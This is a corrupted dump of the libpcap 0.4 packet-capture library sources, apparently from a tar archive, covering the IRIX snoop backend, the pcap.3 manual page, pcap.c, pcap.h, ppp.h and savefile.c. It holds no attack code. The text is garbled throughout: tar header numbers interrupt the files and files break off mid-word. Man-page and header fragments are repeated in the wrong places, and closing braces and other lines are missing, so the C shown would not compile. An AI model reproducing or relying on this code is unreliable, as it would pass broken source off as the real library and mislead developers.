<netinet/if_ether.h>
#include <netinet/ip_var.h>
#include
<netinet/udp.h>
#include <netinet/udp_var.h>
#include
<netinet/tcp.h>
#include <netinet/tcpip.h>
#include
<errno.h>
#include <stdio.h>
#include
<stdlib.h>
#include <string.h>
#include <unistd.h>
#include
"pcap-int.h"
#include "gnuc.h"
#ifdef
HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
pcap_read(pcap_t
*p, int cnt, pcap_handler callback, u_char *user)
int cc;
register
struct snoopheader *sh;
register
int datalen;
register int
caplen;
register u_char
*cp;
again:
cc =
read(p->fd, (char *)p->buffer, p->bufsize);
if (cc < 0) {
/*
Don't choke when we get ptraced */
switch (errno) {
case
EINTR:
goto
again;
case EWOULDBLOCK:
return (0); /* XXX */
sprintf(p->errbuf,
"read: %s", pcap_strerror(errno));
return (-1);
sh = (struct snoopheader
*)p->buffer;
datalen =
sh->snoop_packetlen;
caplen
= (datalen < p->snapshot) ? datalen : p->snapshot;
cp = (u_char *)(sh + 1) + p->offset; /*
XXX */
if (p->fcode.bf_insns
== NULL ||
bpf_filter(p->fcode.bf_insns, cp,
datalen, caplen)) {
struct pcap_pkthdr h;
++p->md.stat.ps_recv;
h.ts
= sh->snoop_timestamp;
h.len = datalen;
h.caplen
= caplen;
(*callback)(user, &h, cp);
return
(1);
return (0);
pcap_stats(pcap_t
*p, struct pcap_stat *ps)
register
struct rawstats *rs;
struct
rawstats rawstats;
rs =
&rawstats;
bzero((char
*)rs, sizeof(*rs));
if
(ioctl(p->fd, SIOCRAWSTATS, (char *)rs) < 0) {
sprintf(p->errbuf,
"SIOCRAWSTATS: %s", pcap_strerror(errno));
return
(-1);
p->md.stat.ps_drop
=
rs->rs_snoop.ss_ifdrops + rs->rs_snoop.ss_sbdrops +
rs->rs_drain.ds_ifdrops + rs->rs_drain.ds_sbdrops;
*ps = p->md.stat;
return (0);
/* XXX can't disable
promiscuous */
pcap_t *
pcap_open_live(char *device, int snaplen, int
promisc, int to_ms, char *ebuf)
int
fd;
struct sockaddr_raw
sr;
struct snoopfilter
sf;
u_int v;
pcap_t *p;
p = (pcap_t *)malloc(sizeof(*p));
if (p == NULL) {
sprintf(ebuf, "malloc: %s",
pcap_strerror(errno));
return (NULL);
bzero((char *)p, sizeof(*p));
fd = socket(PF_RAW, SOCK_RAW,
RAWPROTO_SNOOP);
if (fd < 0)
{
sprintf(ebuf, "snoop socket: %s",
pcap_strerror(errno));
goto bad;
p->fd = fd;
bzero((char
*)&sr, sizeof(sr));
sr.sr_family
= AF_RAW;
(void)strncpy(sr.sr_ifname,
device, sizeof(sr.sr_ifname));
if
(bind(fd, (struct sockaddr *)&sr, sizeof(sr))) {
sprintf(ebuf,
"snoop bind: %s", pcap_strerror(errno));
goto bad;
bzero((char *)&sf, sizeof(sf));
if (ioctl(fd, SIOCADDSNOOP, &sf) <
0) {
sprintf(ebuf, "SIOCADDSNOOP: %s",
pcap_strerror(errno));
goto bad;
v = 64 * 1024;
(void)setsockopt(fd,
SOL_SOCKET, SO_RCVBUF, (char *)&v, sizeof(v));
if (ioctl(fd, SIOCSNOOPLEN, &snaplen) < 0) {
sprintf(ebuf,
"SIOCSNOOPLEN: %s", pcap_strerror(errno));
goto
bad;
p->snapshot = snaplen;
v = 1;
if (ioctl(fd, SIOCSNOOPING, &v) < 0) {
sprintf(ebuf,
"SIOCSNOOPING: %s", pcap_strerror(errno));
goto
bad;
* XXX hack - map device name to link layer type
*/
if
(strncmp("et", device, 2) == 0 || /*
Challenge 10 Mbit */
strncmp("ec", device, 2) == 0 || /* Indigo/Indy 10 Mbit,
O2 10/100 */
strncmp("ef", device, 2) == 0 || /* O200/2000 10/100 Mbit */
strncmp("gfe", device, 3) == 0 || /* GIO 100 Mbit */
strncmp("fxp", device, 3) == 0
|| /* Challenge VME Enet */
strncmp("ep", device, 2) == 0 || /* Challenge 8x10 Mbit EPLEX */
strncmp("vfe", device, 3) == 0 || /* Challenge VME 100Mbit */
strncmp("fa", device, 2) == 0 ||
strncmp("qaa", device, 3) == 0) {
p->linktype =
DLT_EN10MB;
p->offset = RAW_HDRPAD(sizeof(struct
ether_header));
} else if
(strncmp("ipg", device, 3) == 0 ||
strncmp("rns", device, 3) == 0 || /* O2/200/2000 FDDI */
strncmp("xpi", device, 3) == 0)
{
p->linktype = DLT_FDDI;
p->offset = 3; /* XXX yeah? */
} else if (strncmp("ppp",
device, 3) == 0) {
p->linktype = DLT_RAW;
} else if (strncmp("lo", device,
2) == 0) {
p->linktype = DLT_NULL;
} else {
sprintf(ebuf,
"snoop: unknown physical layer type");
goto bad;
p->bufsize = 4096; /* XXX */
p->buffer = (u_char *)malloc(p->bufsize);
if (p->buffer == NULL) {
sprintf(ebuf,
"malloc: %s", pcap_strerror(errno));
goto bad;
return (p);
bad:
(void)close(fd);
free(p);
return (NULL);
pcap_setfilter(pcap_t *p, struct
bpf_program *fp)
p->fcode =
*fp;
return (0);
en =
sizeof(chunksize);
si.ic_dp =
(char *)&chunksize;
if
(ioctl(fd, I_STR, (char *)&si) < 0) {
sprintf(ebuf,
"NIOCSCHUNK: %s", pcap_strerror(errlibpcap-0.4/pcap.3
444
1774
34
20513
6544336050 7103
.\"
Copyright (c) 1994, 1996, 1997
.\" The
Regents of the University of California.
All rights reserved.
.\" Redistribution and use in source and
binary forms, with or without
.\" modification, are permitted
provided that: (1) source code distributions
.\" retain the above copyright
notice and this paragraph in its entirety, (2)
.\" distributions
including binary code include the above copyright notice and
.\" this
paragraph in its entirety in the documentation or other materials
.\"
provided with the distribution, and (3) all advertising materials
mentioning
.\" features or use of this software display the following
acknowledgement:
.\" ``This product includes software developed by
the University of California,
.\" Lawrence Berkeley Laboratory and
its contributors.'' Neither the name of
.\" the University nor the
names of its contributors may be used to endorse
.\" or promote
products derived from this software without specific prior
.\"
written permission.
.\" THIS SOFTWARE IS PROVIDED ``AS IS'' AND
WITHOUT ANY EXPRESS OR IMPLIED
.\" WARRANTIES, INCLUDING, WITHOUT
LIMITATION, THE IMPLIED WARRANTIES OF
.\" MERCHANTABILITY AND FITNESS
FOR A PARTICULAR PURPOSE.
.TH PCAP 3
"24 June 1998"
.SH NAME
pcap \- Packet Capture
library
.SH SYNOPSIS
.ft B
#include <pcap.h>
.ft
B
pcap_t *pcap_open_live(char *device, int snaplen,
.ti +8
int
promisc, int to_ms, char *ebuf)
pcap_t *pcap_open_offline(char *fname,
char *ebuf)
pcap_dumper_t *pcap_dump_open(pcap_t *p, char *fname)
.ft
B
char errbuf[PCAP_ERRBUF_SIZE];
char *pcap_lookupdev(char *errbuf)
int
pcap_lookupnet(char *device, bpf_u_int32 *netp,
.ti +8
bpf_u_int32
*maskp, char *errbuf)
.ft B
int pcap_dispatch(pcap_t *p, int
cnt,
.ti +8
pcap_handler callback, u_char *user)
int
pcap_loop(pcap_t *p, int cnt,
.ti +8
pcap_handler callback, u_char *user)
void
pcap_dump(u_char *user, struct pcap_pkthdr *h,
.ti +8
u_char
*sp)
.ft B
int pcap_compile(pcap_t *p, struct bpf_program *fp,
.ti
+8
char *str, int optimize, bpf_u_int32 netmask)
int
pcap_setfilter(pcap_t *p, struct bpf_program *fp)
.ft B
u_char *pcap_next(pcap_t
*p, struct pcap_pkthdr *h)
.ft B
int pcap_datalink(pcap_t *p)
int
pcap_snapshot(pcap_t *p)
int pcap_is_swapped(pcap_t *p)
int
pcap_major_version(pcap_t *p)
int pcap_minor_version(pcap_t *p)
int
pcap_stats(pcap_t *p, struct pcap_stat *ps)
FILE *pcap_file(pcap_t
*p)
int pcap_fileno(pcap_t *p)
void pcap_perror(pcap_t *p, char
*prefix)
char *pcap_geterr(pcap_t *p)
char *pcap_strerror(int
error)
.ft B
void pcap_close(pcap_t *p)
void
pcap_dump_close(pcap_dumper_t *p)
.SH DESCRIPTION
The Packet Capture
library
provides a high level interface to packet capture systems. All
packets
on the network, even those destined for other hosts, are
accessible
through this mechanism.
.SH ROUTINES
.B
pcap_open_live()
is used to obtain a packet capture descriptor to
look
at packets on the network.
.I device
is a string that
specifies the network device to open.
.I snaplen
specifies the
maximum number of bytes to capture.
.I promisc
specifies if the
interface is to be put into promiscuous mode.
(Note that even if this
parameter is false, the interface
could well be in promiscuous mode for
some other reason.)
.I to_ms
specifies the read timeout in
milliseconds.
.I ebuf
is used to return error text and is only set
when
.B pcap_open_live()
fails and returns
.BR NULL .
.B
pcap_open_offline()
is called to open a ``savefile'' for reading.
.I
fname
specifies the name of the file to open. The file has
the same
format as those used by
.B tcpdump(1)
.BR tcpslice(1) .
The name
"-" in a synonym for
.BR stdin .
.I ebuf
is used to
return error text and is only set when
.B pcap_open_offline()
fails
and returns
.BR NULL .
.B pcap_dump_open()
is called to open a
``savefile'' for writing. The name "-" in a synonym
.BR stdout
.
.B NULL
is returned on failure.
.I p
is a
.I
pcap
struct as returned by
.B pcap_open_offline()
.BR
pcap_open_live() .
.I fname
specifies the name of the file to
open.
.B NULL
is returned,
.B pcap_geterr()
can be used to
get the error text.
.B pcap_lookupdev()
returns a pointer to a
network device suitable for use with
.B pcap_open_live()
.BR
pcap_lookupnet() .
If there is an error,
.B NULL
is returned
and
.I errbuf
is filled in with with an appropriate error
message.
.B pcap_lookupnet()
is used to determine the network number
and mask
associated with the network device
.BR device .
Both
.I
netp
.I maskp
.I bpf_u_int32
pointers.
A return of -1
indicates an error in which case
.I errbuf
is filled in with with an
appropriate error message.
.B pcap_dispatch()
is used to collect and
process packets.
.I cnt
specifies the maximum number of packets to
process before returning. A
.I cnt
of -1 processes all the packets
received in one buffer. A
.I cnt
of 0 processes all packets until an
error occurs,
.B EOF
is reached, or the read times out (when doing
live reads and a non-zero
read timeout is specified).
.I
callback
specifies a routine to be called with three arguments:
.I
u_char
pointer which is passed in from
.BR pcap_dispatch() ,
a
pointer to the
.I pcap_pkthdr
struct (which precede the actual
network headers and data),
and a
.I u_char
pointer to the packet
data. The number of packets read is returned.
Zero is returned when
.B
EOF
is reached in a ``savefile.'' A return of -1 indicates
an error
in which case
.B pcap_perror()
.BR pcap_geterr()
may be used to
display the error text.
.B pcap_dump()
outputs a packet to the
``savefile'' opened with
.BR pcap_dump_open() .
Note that its calling
arguments are suitable for use with
.BR pcap_dispatch() .
.B
pcap_compile()
is used to compile the string
.I str
into a
filter program.
.I program
is a pointer to a
.I
bpf_program
struct and is filled in by
.BR pcap_compile() .
.I
optimize
controls whether optimization on the resulting code is
performed.
.I netmask
specifies the netmask of the local net.
.B
pcap_setfilter()
is used to specify a filter program.
.I fp
is a
pointer to an array of
.I bpf_program
struct, usually the result of a
call to
.BR pcap_compile() .
.B \-1
is returned on
failure;
.B 0
is returned on success.
.B pcap_loop()
is
similar to
.B pcap_dispatch()
except it keeps reading packets
until
.I cnt
packets are processed or an error occurs.
It
does
.B not
return when live read timeouts occur.
Rather,
specifying a non-zero read timeout to
.B pcap_open_live()
and then
calling
.B pcap_dispatch()
allows the reception and processing of any
packets that arrive when the
timeout occurs.
A negative
.I
cnt
causes
.B pcap_loop()
to loop forever (or at least until an
error occurs).
.B pcap_next()
returns a
.I u_char
pointer
to the next packet.
.B pcap_datalink()
returns the link layer type,
e.g.
.BR DLT_EN10MB .
.B pcap_snapshot()
returns the snapshot
length specified when
.B pcap_open_live
was called.
.B
pcap_is_swapped()
returns true if the current ``savefile'' uses a
different byte order
than the current system.
.B
pcap_major_version()
returns the major number of the version of the pcap
used to write the
savefile.
.B pcap_minor_version()
returns the
minor number of the version of the pcap used to write the
savefile.
.B
pcap_file()
returns the name of the ``savefile.''
.B int
pcap_stats()
returns 0 and fills in a
.B pcap_stat
struct. The
values represent packet statistics from the start of the
run to the time
of the call. If there is an error or the under lying
packet capture
doesn't support packet statistics, -1 is returned and
the error text can
be obtained with
.B pcap_perror()
.BR pcap_geterr() .
.B
pcap_fileno()
returns the file descriptor number of the
``savefile.''
.B pcap_perror()
prints the text of the last pcap
library error on
.BR stderr ,
prefixed by
.IR prefix .
.B
pcap_geterr()
returns the error text pertaining to the last pcap library
error.
.B pcap_strerror()
is provided in case
.BR strerror
(1)
isn't available.
.B pcap_close()
closes the files associated
with
.I p
and deallocates resources.
.B pcap_dump_close()
closes
the ``savefile.''
.SH SEE ALSO
tcpdump(1), tcpslice(1)
.SH
AUTHORS
Van Jacobson,
Craig Leres and
Steven McCanne, all of
the
Lawrence Berkeley National Laboratory, University of California,
Berkeley, CA.
The current version is available via anonymous ftp:
.I
ftp://ftp.ee.lbl.gov/libpcap.tar.Z
.SH BUGS
Please send bug reports
to libpcap@ee.lbl.gov.
the network
number and mask
associated with the network device
.BR device .
Both
.I
netp
.I maskp
.I bpf_u_int32
pointers.
A return of -1
indicates an error in which case
.libpcap-0.4/pcap.c
444
1774
34
10655
6552214553 7173
* Copyright (c) 1993, 1994, 1995, 1996, 1997,
1998
* The Regents of the University of California. All rights reserved.
* Redistribution and use in source and binary
forms, with or without
*
modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above
copyright
* notice, this list of conditions and the
following disclaimer.
* 2.
Redistributions in binary form must reproduce the above copyright
*
notice, this list of conditions and the following disclaimer in
the
* documentation and/or other materials provided with the
distribution.
* 3. All advertising
materials mentioning features or use of this software
*
must display the following acknowledgement:
* This
product includes software developed by the Computer Systems
* Engineering
Group at Lawrence Berkeley Laboratory.
* 4. Neither the name of the University nor of the Laboratory may
be used
* to endorse or promote products derived
from this software without
* specific prior written permission.
* THIS SOFTWARE IS PROVIDED BY THE REGENTS
AND CONTRIBUTORS ``AS IS'' AND
*
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE
*
ARE DISCLAIMED. IN NO EVENT SHALL THE
REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL
* DAMAGES (INCLUDING,
BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
OR BUSINESS INTERRUPTION)
*
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
STRICT
* LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF
ADVISED OF THE POSSIBILITY OF
*
SUCH DAMAGE.
#ifndef lint
static const char rcsid[] =
"@(#) $Header: pcap.c,v 1.29 98/07/12
13:15:39 leres Exp $ (LBL)";
#endif
#include <sys/types.h>
#include
<stdio.h>
#include <stdlib.h>
#include
<string.h>
#include <unistd.h>
#include
"gnuc.h"
#ifdef HAVE_OS_PROTO_H
#include
"os-proto.h"
#endif
#include "pcap-int.h"
pcap_dispatch(pcap_t
*p, int cnt, pcap_handler callback, u_char *user)
if (p->sf.rfile != NULL)
return
(pcap_offline_read(p, cnt, callback, user));
return (pcap_read(p, cnt, callback, user));
pcap_loop(pcap_t
*p, int cnt, pcap_handler callback, u_char *user)
register int n;
for
(;;) {
if (p->sf.rfile != NULL)
n = pcap_offline_read(p,
cnt, callback, user);
else {
/*
* XXX keep reading until we get
something
*
(or an error occurs)
*/
do {
n
= pcap_read(p, cnt, callback, user);
} while (n == 0);
if
(n <= 0)
return (n);
if (cnt > 0)
{
cnt -= n;
if (cnt <= 0)
return (0);
struct singleton {
struct pcap_pkthdr *hdr;
const u_char *pkt;
static void
pcap_oneshot(u_char
*userData, const struct pcap_pkthdr *h, const u_char *pkt)
struct singleton *sp = (struct singleton
*)userData;
*sp->hdr =
*h;
sp->pkt = pkt;
const
u_char *
pcap_next(pcap_t *p, struct pcap_pkthdr *h)
struct singleton s;
s.hdr = h;
if (pcap_dispatch(p, 1, pcap_oneshot, (u_char*)&s) <=
0)
return (0);
return
(s.pkt);
pcap_datalink(pcap_t *p)
return
(p->linktype);
pcap_snapshot(pcap_t *p)
return (p->snapshot);
pcap_is_swapped(pcap_t *p)
return (p->sf.swapped);
pcap_major_version(pcap_t
*p)
return
(p->sf.version_major);
pcap_minor_version(pcap_t *p)
return (p->sf.version_minor);
FILE
*
pcap_file(pcap_t *p)
return
(p->sf.rfile);
pcap_fileno(pcap_t *p)
return (p->fd);
void
pcap_perror(pcap_t *p, char
*prefix)
fprintf(stderr,
"%s: %s\n", prefix, p->errbuf);
char *
pcap_geterr(pcap_t
*p)
return
(p->errbuf);
* Not all systems
have strerror().
char *
pcap_strerror(int errnum)
#ifdef
HAVE_STRERROR
return
(strerror(errnum));
#else
extern
int sys_nerr;
extern const char
*const sys_errlist[];
static
char ebuf[20];
if ((unsigned
int)errnum < sys_nerr)
return ((char
*)sys_errlist[errnum]);
(void)sprintf(ebuf,
"Unknown error: %d", errnum);
return(ebuf);
#endif
void
pcap_close(pcap_t
*p)
/*XXX*/
if (p->fd >= 0)
close(p->fd);
if (p->sf.rfile != NULL) {
(void)fclose(p->sf.rfile);
if
(p->sf.base != NULL)
free(p->sf.base);
} else if (p->buffer != NULL)
free(p->buffer);
#ifdef
linux
if (p->md.device !=
NULL)
free(p->md.device);
#endif
free(p);
#endif
#include <sys/types.h>
#include
<stdio.h>
#include <stdlib.h>
#include
<libpcap-0.4/pcap.h
444
1774
34
11460 6421317444 7171
* Copyright (c) 1993, 1994, 1995, 1996, 1997
* The
Regents of the University of California.
All rights reserved.
*
Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that
the following conditions
* are met:
* 1. Redistributions of source code must
retain the above copyright
* notice, this list of conditions and the
following disclaimer.
* 2.
Redistributions in binary form must reproduce the above copyright
*
notice, this list of conditions and the following disclaimer in
the
* documentation and/or other materials provided with the
distribution.
* 3. All advertising
materials mentioning features or use of this software
*
must display the following acknowledgement:
* This
product includes software developed by the Computer Systems
* Engineering
Group at Lawrence Berkeley Laboratory.
* 4. Neither the name of the University nor of the Laboratory may
be used
* to endorse or promote products derived
from this software without
* specific prior written permission.
* THIS SOFTWARE IS PROVIDED BY THE REGENTS
AND CONTRIBUTORS ``AS IS'' AND
*
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE
*
ARE DISCLAIMED. IN NO EVENT SHALL THE
REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL
* DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
OR BUSINESS INTERRUPTION)
*
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
STRICT
* LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF
ADVISED OF THE POSSIBILITY OF
*
SUCH DAMAGE.
* @(#) $Header:
pcap.h,v 1.21 97/10/15 21:59:13 leres Exp $ (LBL)
#ifndef lib_pcap_h
#define
lib_pcap_h
#include <sys/types.h>
#include
<sys/time.h>
#include <net/bpf.h>
#include
<stdio.h>
#define PCAP_VERSION_MAJOR 2
#define
PCAP_VERSION_MINOR 4
#define PCAP_ERRBUF_SIZE 256
* Compatibility for systems that have a bpf.h
that
* predates the bpf typedefs
for 64-bit support.
#if BPF_RELEASE - 0 < 199406
typedef int bpf_int32;
typedef u_int bpf_u_int32;
#endif
typedef
struct pcap pcap_t;
typedef struct pcap_dumper pcap_dumper_t;
* The first record in the file contains saved
values for some
* of the flags
used in the printout phases of tcpdump.
* Many fields here are 32 bit ints so compilers won't insert
unwanted
* padding; these files
need to be interchangeable across architectures.
struct pcap_file_header
{
bpf_u_int32 magic;
u_short version_major;
u_short version_minor;
bpf_int32 thiszone; /* gmt to local correction */
bpf_u_int32 sigfigs; /*
accuracy of timestamps */
bpf_u_int32
snaplen; /* max length saved portion
of each pkt */
bpf_u_int32
linktype; /* data link type (DLT_*)
*/
* Each packet in the dump file
is prepended with this generic header.
* This gets around the problem of different headers for different
* packet interfaces.
struct pcap_pkthdr
{
struct timeval ts; /* time stamp */
bpf_u_int32 caplen; /* length of portion present */
bpf_u_int32 len; /*
length this packet (off wire) */
*
As returned by the pcap_stats()
struct pcap_stat {
u_int ps_recv; /* number of packets
received */
u_int ps_drop; /*
number of packets dropped */
u_int
ps_ifdrop; /* drops by interface XXX
not yet supported */
typedef void (*pcap_handler)(u_char *, const struct
pcap_pkthdr *,
const u_char *);
char *pcap_lookupdev(char
*);
int pcap_lookupnet(char *,
bpf_u_int32 *, bpf_u_int32 *, char *);
pcap_t *pcap_open_live(char *, int, int, int, char *);
pcap_t *pcap_open_offline(const char *, char
*);
void pcap_close(pcap_t
*);
int pcap_loop(pcap_t *, int,
pcap_handler, u_char *);
int pcap_dispatch(pcap_t
*, int, pcap_handler, u_char *);
const u_char*
pcap_next(pcap_t *, struct pcap_pkthdr
*);
int pcap_stats(pcap_t *,
struct pcap_stat *);
int pcap_setfilter(pcap_t
*, struct bpf_program *);
void pcap_perror(pcap_t
*, char *);
char *pcap_strerror(int);
char *pcap_geterr(pcap_t *);
int pcap_compile(pcap_t *, struct bpf_program
*, char *, int,
bpf_u_int32);
/* XXX */
int pcap_freecode(pcap_t *, struct bpf_program
*);
int pcap_datalink(pcap_t
*);
int pcap_snapshot(pcap_t
*);
int pcap_is_swapped(pcap_t
*);
int pcap_major_version(pcap_t
*);
int pcap_minor_version(pcap_t
*);
/* XXX */
FILE *pcap_file(pcap_t
*);
int pcap_fileno(pcap_t
*);
pcap_dumper_t *pcap_dump_open(pcap_t *, const char *);
void pcap_dump_close(pcap_dumper_t *);
void pcap_dump(u_char *, const struct
pcap_pkthdr *, const u_char *);
/* XXX this guy lives in the bpf tree
*/
u_int bpf_filter(struct
bpf_insn *, u_char *, u_int, u_int);
char *bpf_image(struct
bpf_insn *, int);
#endif
p_is_swapped()
returns true if the
current ``savefile'' uses a different byte order
than the current
system.
.B pcap_major_version()
returns the major number of the
version of the pcap used to write the
slibpcap-0.4/ppp.h
644
1774
34
4505
6261376223 7033
/* @(#) $Header:
ppp.h,v 1.7 95/05/04 17:52:46 mccanne Exp $ (LBL) */
* Point to Point Protocol (PPP) RFC1331
* Copyright 1989 by Carnegie Mellon.
* Permission to use, copy, modify, and
distribute this program for any
*
purpose and without fee is hereby granted, provided that this copyright
* and permission notice appear on all copies
and supporting documentation,
*
the name of Carnegie Mellon not be used in advertising or publicity
* pertaining to distribution of the program
without specific prior
* permission,
and notice be given in supporting documentation that copying
* and distribution is by permission of
Carnegie Mellon and Stanford
*
University. Carnegie Mellon makes no
representations about the
*
suitability of this software for any purpose.
It is provided "as is"
* without express or implied warranty.
#define PPP_ADDRESS 0xff /*
The address byte value */
#define PPP_CONTROL 0x03 /* The control
byte value */
/* Protocol numbers */
#define PPP_IP 0x0021 /* Raw IP */
#define PPP_OSI 0x0023 /* OSI Network Layer */
#define
PPP_NS 0x0025 /* Xerox NS
IDP */
#define PPP_DECNET 0x0027 /* DECnet Phase IV */
#define
PPP_APPLE 0x0029 /* Appletalk */
#define PPP_IPX 0x002b /* Novell IPX */
#define PPP_VJC 0x002d /* Van Jacobson Compressed TCP/IP */
#define
PPP_VJNC 0x002f /* Van Jacobson Uncompressed TCP/IP
*/
#define PPP_BRPDU 0x0031 /* Bridging PDU */
#define PPP_STII 0x0033 /*
Stream Protocol (ST-II) */
#define PPP_VINES 0x0035 /* Banyan
Vines */
#define PPP_HELLO 0x0201 /* 802.1d Hello Packets */
#define
PPP_LUXCOM 0x0231 /* Luxcom */
#define PPP_SNS 0x0233 /* Sigma Network Systems */
#define
PPP_IPCP 0x8021 /* IP Control Protocol */
#define
PPP_OSICP 0x8023 /* OSI Network Layer Control Protocol
*/
#define PPP_NSCP 0x8025 /* Xerox NS IDP Control Protocol */
#define
PPP_DECNETCP 0x8027 /* DECnet Control Protocol */
#define
PPP_APPLECP 0x8029 /* Appletalk Control Protocol */
#define
PPP_IPXCP 0x802b /* Novell IPX Control Protocol */
#define
PPP_STIICP 0x8033 /* Strean Protocol Control Protocol
*/
#define PPP_VINESCP 0x8035 /* Banyan Vines Control Protocol */
#define
PPP_LCP 0xc021 /* Link
Control Protocol */
#define PPP_PAP 0xc023 /*
Password Authentication Protocol */
#define PPP_LQM 0xc025 /* Link Quality Monitoring */
#define
PPP_CHAP 0xc223 /* Challenge Handshake Authentication
Protocol */
ndler, u_char *);
int pcap_dispatch(pcap_t
*, int, pcap_handler, u_char *);
const u_char*
pcap_next(pcap_t *, struct pcap_pkthdr
*);
int pcap_stats(pcap_t *,
struct pcap_stat *);
int pcalibpcap-0.4/savefile.c
444
1774
34
22135 6421317433 10036
* Copyright (c) 1993, 1994, 1995, 1996, 1997
* The
Regents of the University of California.
All rights reserved.
*
Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that:
(1) source code distributions
*
retain the above copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include
the above copyright notice and
*
this paragraph in its entirety in the documentation or other materials
* provided with the distribution, and (3) all
advertising materials mentioning
*
features or use of this software display the following acknowledgement:
* ``This product includes software developed
by the University of California,
*
Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its
contributors may be used to endorse
* or promote products derived from this software without specific
prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND
WITHOUT ANY EXPRESS OR IMPLIED
*
WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE.
* savefile.c -
supports offline use of tcpdump
* Extraction/creation by Jeffrey Mogul,
DECWRL
* Modified by Steve McCanne, LBL.
* Used to save the received packet headers, after filtering,
to
* a file, and then read them
later.
* The first record in the
file contains saved values for the machine
* dependent values so we can print the dump file on any
architecture.
#ifndef lint
static const char rcsid[] =
"@(#) $Header: savefile.c,v 1.37
97/10/15 21:58:58 leres Exp $ (LBL)";
#endif
#include
<sys/types.h>
#include <sys/time.h>
#include
<errno.h>
#include <memory.h>
#include
<stdio.h>
#include <stdlib.h>
#include
<unistd.h>
#include "pcap-int.h"
#include
"gnuc.h"
#ifdef HAVE_OS_PROTO_H
#include
"os-proto.h"
#endif
#define TCPDUMP_MAGIC 0xa1b2c3d4
* We use the "receiver-makes-right"
approach to byte order,
* because
time is at a premium when we are writing the file.
* In other words, the pcap_file_header and
pcap_pkthdr,
* records are written
in host byte order.
* Note that
the packets are always written in network byte order.
* ntoh[ls] aren't sufficient because we might
need to swap on a big-endian
*
machine (if the file was written in little-end order).
#define SWAPLONG(y) \
((((y)&0xff)<<24)
| (((y)&0xff00)<<8) | (((y)&0xff0000)>>8) |
(((y)>>24)&0xff))
#define SWAPSHORT(y)
\
( (((y)&0xff)<<8) |
((u_short)((y)&0xff00)>>8) )
#define SFERR_TRUNC 1
#define
SFERR_BADVERSION 2
#define
SFERR_BADF 3
#define SFERR_EOF 4 /* not really an error, just a status
*/
static int
sf_write_header(FILE *fp, int linktype, int thiszone,
int snaplen)
struct pcap_file_header
hdr;
hdr.magic =
TCPDUMP_MAGIC;
hdr.version_major
= PCAP_VERSION_MAJOR;
hdr.version_minor
= PCAP_VERSION_MINOR;
hdr.thiszone
= thiszone;
hdr.snaplen =
snaplen;
hdr.sigfigs = 0;
hdr.linktype = linktype;
if (fwrite((char *)&hdr, sizeof(hdr),
1, fp) != 1)
return (-1);
return (0);
static void
swap_hdr(struct
pcap_file_header *hp)
hp->version_major
= SWAPSHORT(hp->version_major);
hp->version_minor
= SWAPSHORT(hp->version_minor);
hp->thiszone
= SWAPLONG(hp->thiszone);
hp->sigfigs
= SWAPLONG(hp->sigfigs);
hp->snaplen
= SWAPLONG(hp->snaplen);
hp->linktype
= SWAPLONG(hp->linktype);
pcap_t *
pcap_open_offline(const char
*fname, char *errbuf)
register
pcap_t *p;
register FILE
*fp;
struct pcap_file_header
hdr;
int linklen;
p = (pcap_t *)malloc(sizeof(*p));
if (p == NULL) {
strcpy(errbuf,
"out of swap");
return (NULL);
memset((char *)p, 0, sizeof(*p));
*
Set this field so we don't close stdin in pcap_close!
*/
p->fd =
-1;
if (fname[0] == '-'
&& fname[1] == '\0')
fp = stdin;
else {
fp = fopen(fname, "r");
if
(fp == NULL) {
sprintf(errbuf, "%s: %s", fname,
pcap_strerror(errno));
goto bad;
if (fread((char *)&hdr, sizeof(hdr), 1, fp) != 1) {
sprintf(errbuf,
"fread: %s", pcap_strerror(errno));
goto bad;
if (hdr.magic != TCPDUMP_MAGIC) {
if
(SWAPLONG(hdr.magic) != TCPDUMP_MAGIC) {
sprintf(errbuf, "bad dump file
format");
goto bad;
p->sf.swapped =
1;
swap_hdr(&hdr);
if
(hdr.version_major < PCAP_VERSION_MAJOR) {
sprintf(errbuf,
"archaic file format");
goto bad;
p->tzoff = hdr.thiszone;
p->snapshot = hdr.snaplen;
p->linktype = hdr.linktype;
p->sf.rfile = fp;
p->bufsize
= hdr.snaplen;
/* Align link
header as required for proper data alignment */
/* XXX should handle all types */
switch (p->linktype) {
case
DLT_EN10MB:
linklen = 14;
break;
case DLT_FDDI:
linklen
= 13 + 8; /* fddi_header + llc
*/
break;
case
DLT_NULL:
default:
linklen
= 0;
break;
p->sf.base
= (u_char *)malloc(p->bufsize + BPF_ALIGNMENT);
p->buffer = p->sf.base + BPF_ALIGNMENT - (linklen %
BPF_ALIGNMENT);
p->sf.version_major
= hdr.version_major;
